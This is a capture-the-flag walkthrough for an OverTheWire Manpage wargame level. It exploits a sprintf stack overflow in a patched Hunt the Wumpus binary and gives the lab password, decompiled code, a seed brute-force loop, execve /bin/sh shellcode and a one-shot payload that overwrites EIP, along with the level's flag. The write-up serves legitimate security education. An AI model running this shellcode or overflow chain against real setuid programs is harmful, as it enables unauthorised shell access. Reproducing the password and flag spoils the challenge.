OverTheWire Manpage Level 3 → 4 tutorial!!
Published on 09 Oct 2023
Login
Use the manpage3 account from the previous level:
ssh manpage3@manpage.labs.overthewire.org -p 2224
# password: iaceigicie
Goal
Exploit the Hunt the Wumpus game to gain a shell. This level ships a patched build that:
- moves the common input buffer into local
inp[BUFSIZ]
arrays (size 2048) in several functions, and - introduces a new function
log_winner
that asks for your first/last name and logs them usingsprintf
.
We’ll craft inputs so leftover data in a previous 2 KB input buffer becomes the lastname
pointer for sprintf
, letting us overwrite EIP and pivot to shellcode in the environment.
Given diff (highlights)
+#include <stdlib.h>
+#define BUFSIZ 2048
+#define LOGFILE "/dev/null"
+FILE *logfile;
-
-static char inp[BUFSIZ]; /* common input buffer */
+/* each function now has a local: char inp[BUFSIZ]; */
+
+void log_winner()
+{
+ char buf[256];
+ char firstname[256], lastname[256];
+ int t = time(NULL);
+ logfile = fopen(LOGFILE,"a");
+ printf("firstname and lastname?\n");
+ if( !fgets(buf, sizeof buf, stdin) )
+ exit(1);
+
+ sscanf(buf, "%100s %100s", firstname, lastname);
+ sprintf(buf, "%s firstname:%s lastname: %s\n", ctime(&t), firstname, lastname);
+
+ fputs(buf, logfile);
+ fclose(logfile);
+}
@@
- }
+ }
+ if( finished == WIN )
+ log_winner();
Decompiled Functions (full context)
main
int main(int argc,char **argv)
{
int i;
uint seed;
int num;
int c;
if ((argc < 2) || (i = strcmp(argv[1],"-s"), i != 0)) {
seed = time((time_t *)0);
srand(seed);
}
else {
seed = atoi(argv[2]);
srand(seed);
}
i = getlet("INSTRUCTIONS (Y-N)");
if (i == 'Y') {
print_instructions();
}
badlocs:
do {
j = 0;
while (i = j, j < 6) {
num = rand();
save[i] = num % 0x14;
loc[i] = save[i];
j = j + 1;
}
j = 0;
while (j < 6) {
k = 0;
while (k < 6) {
if ((j != k) && (loc[j] == loc[k])) goto badlocs;
k = k + 1;
}
j = j + 1;
}
do {
arrows = 5;
scratchloc = loc[0];
puts("HUNT THE WUMPUS");
do {
while ( true ) {
check_hazards();
i = move_or_shoot();
if (i != 0) break;
move();
if (finished != 0) goto LAB_08049267;
}
shoot();
} while (finished == 0);
LAB_08049267:
if (finished == -1) {
puts("HA HA HA – YOU LOSE!");
}
else {
if (finished == 1) {
log_winner();
}
}
puts("HEE HEE HEE – THE WUMPUS'LL GET YOU NEXT TIME!!");
j = 0;
while (j < 6) {
loc[j] = save[j];
j = j + 1;
}
i = getlet("SAME SETUP (Y-N)");
} while (i == 'Y');
} while (true);
}
getlet
int getlet(char *prompt)
{
char *ret;
int instruct;
char inp [2048];
printf("%s\n?",prompt);
ret = fgets(inp,2048,stdin);
if (ret != (char *)0x0) {
instruct = toupper((int)inp[0]);
return instruct;
}
fputc('\n',stdout);
exit(1);
}
check_hazards
void check_hazards(void)
{
int pos;
int room;
puts("");
k = 0;
while (k < 3) /* Check nearby rooms */ {
pos = cave[loc[0] * 3 + k];
if (loc[1] == pos) {
puts("I SMELL A WUMPUS!");
}
else {
if ((loc[2] == pos) || (loc[3] == pos)) {
puts("I FEEL A DRAFT");
}
else {
if ((loc[4] == pos) || (loc[5] == pos)) {
puts("BATS NEARBY!");
}
}
}
k = k + 1;
}
printf("YOU ARE IN ROOM %d\n",loc[0] + 1);
printf("TUNNELS LEAD TO %d %d %d\n",cave[loc[0] * 3] + 1,
cave[loc[0] * 3 + 1] + 1,
cave[loc[0] * 3 + 2] + 1);
puts("");
return;
}
move_or_shoot
int move_or_shoot(void)
{
int ret;
int c;
do {
ret = getlet("SHOOT OR MOVE (S-M)");
if (ret == 'S') {
return 1;
}
} while (ret != 'M');
return 0;
}
shoot
(expanded from your decompile)
void shoot(void)
{
int i;
int num;
int j;
int j9;
int k1;
finished = 0;
do {
do {
num = getnum("NO. OF ROOMS (1–5)");
} while (num < 1);
} while (5 < num);
k = 0;
while (i = k, k < num) {
j = getnum("ROOM #");
path[i] = j + -1;
if ((1 < k) && (path[k] == path[k - 2]) /* Check not go back */) {
puts("ARROWS AREN'T THAT CROOKED – TRY ANOTHER ROOM");
k = k + -1;
}
k = k + 1;
}
scratchloc = loc[0];
k = 0;
do {
if (num <= k) {
if (finished == 0) {
puts("MISSED");
scratchloc = loc[0];
move_wumpus();
arrows = arrows + -1;
if (arrows < 1) {
finished = -1;
}
}
return;
}
k1 = 0;
while (i = scratchloc, k1 < 3) {
if (cave[scratchloc * 3 + k1] == path[k]) {
scratchloc = path[k];
check_shot();
if (finished != 0) {
return;
}
}
k1 = k1 + 1;
}
j = rand();
scratchloc = cave[i * 3 + j % 3];
check_shot();
k = k + 1;
} while ( true );
}
getnum
int getnum(char *prompt)
{
char *buf;
int ret;
char inp [2048];
printf("%s\n?",prompt);
buf = fgets(inp,2048,stdin);
if (buf != (char *)0x0) {
ret = atoi(inp);
return ret;
}
fputc('\n',stdout);
exit(1);
}
log_winner
void log_winner(void)
{
char *pcVar1;
time_t t;
char lastname [256];
char firstname[256];
char buf [256];
t = time((time_t *)0x0);
logfile = (FILE *)fopen("/dev/null","a");
puts("firstname and lastname?");
pcVar1 = fgets(buf,256,stdin);
if (pcVar1 == (char *)0x0) {
/* WARNING: Subroutine does not return */
exit(1);
}
__isoc99_sscanf(buf,"%100s %100s",firstname,lastname);
pcVar1 = ctime(&t);
sprintf(buf,"%s firstname:%s lastname: %s\n",pcVar1,firstname,lastname);
fputs(buf,(FILE *)logfile);
fclose((FILE *)logfile);
return;
}
Exploit Strategy
We abuse sprintf
in log_winner
: it copies lastname
unchecked into a 256-byte buffer, letting us overwrite EIP with an address of shellcode in the environment.
- Find a seed where shooting once to room 1 wins (bruteforce → seed=22).
- Put shellcode in env (NOP sled + execve
/bin/sh
). - Overflow via
getnum
: send1
+'A'*1303
solastname
later points into that large region. - At
log_winner
, provideCCCC
for firstname;lastname
remains the prior 2 KB content. sprintf
copies 1300+ bytes into 256-bytebuf
, smashing EIP; overwrite with env shellcode address (example:0xffffdf04
).
Payload & Exploit
Brute-force seed
for s in $(seq 0 999); do
printf 'N\nS\n1\n1\n' | /manpage/manpage4 -s "$s" 2>/dev/null | grep -q "firstname and lastname\?" \
&& { echo "Success: seed=$s"; break; } || echo "seed $s failed";
done
Env shellcode
export SC=$(python3 - <<'PY'
sc = b"\x90"*100
sc += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
sc += b"\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print(sc.decode('latin1'))
PY)
# Example address seen: 0xffffdf04 (confirm in your run)
One-shot exploit (seed=22)
(
python3 - <<'PY'
import sys
# N=no instructions, S=shoot, "1" rooms, then room "1" with huge padding
sys.stdout.write('N\nS\n1\n')
sys.stdout.write('1' + 'A'*1303 + 'A'*209)
sys.stdout.buffer.write(b"\x04\xdf\xff\xff") # EIP → env shellcode @ 0xffffdf04
sys.stdout.write('\n')
sys.stdout.write('CCCC\n') # firstname; lastname pointer stays on our big buffer
PY
; cat) | /manpage/manpage4 -s 22
You should land in a shell; flag retrieved:
vahshaihug
Why this works
- Local 2 KB buffers (
inp[2048]
) retain our large input; later parsing reuses that memory aslastname
. sprintf
writes to a 256-byte stack buffer without bounds checks → classic overflow.- We control the overwrite to point EIP at our environment shellcode → interactive shell.
Troubleshooting
- Different seed/addresses: Re-bruteforce seed; verify addresses in
gdb
. - Unicode byte issues: Always emit non-ASCII via
sys.stdout.buffer.write
. - No shell: Ensure
export SC=...
is done in the same shell that runs the target.
Congrats 🎉 You’ve cleared Level 3 → 4 — textbook sprintf
pwn with a fun game twist!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨
all tags
GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86